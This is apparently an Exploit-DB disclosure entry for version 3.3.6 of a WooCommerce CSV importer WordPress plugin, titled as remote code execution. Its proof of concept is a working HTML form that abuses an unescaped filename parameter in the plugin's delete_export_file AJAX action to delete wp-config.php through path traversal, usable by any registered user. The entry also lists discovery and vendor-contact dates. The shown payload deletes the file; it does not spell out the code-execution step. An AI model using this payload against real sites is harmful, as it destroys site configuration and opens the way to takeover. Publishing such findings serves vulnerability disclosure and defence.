WooCommerce CSV-Importer-Plugin 3.3.6 - Remote Code Execution

EDB-ID: 44433
Author: Lenon Leite
Published: 2018-04-09
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A 

 # Date: 08/04/2018 
 # Exploit Author: Lenon Leite 
 # Vendor Homepage: *https://wordpress.org/plugins/woocommerce-csvimport/ 
 # Software Link: *https://wordpress.org/plugins/woocommerce-csvimport/ 
 # Contact: http://twitter.com/lenonleite 
 # Website: http://lenonleite.com.br/ 
 # Category: webapps 
 # Version: 3.3.6 
 # Tested on: Ubuntu 16.1 
 # 
  
 1 - Description 
  
    - Type user access: any user registered. 
    - $_POST['filename'] is not escaped. 
  
 2. Proof of Concept 
  
 <form method="post" 
    action="http://target/wp-admin/admin-ajax.php?action=delete_export_file"> 
    <input type="text" name="filename" value="../wp-config.php"> 
    <input type="submit"> 
 </form> 
  
  
    - Date Discovery : *11/23/2017* 
    - Date Vendor Contact : *12/29/2017* 
    - Date Publish : 08/04/2018 
    - Date Resolution : 
  
   
 #*Atenciosamente* 
 # 
 #*Lenon Leite*

Source: www.exploit-db.com
Related Posts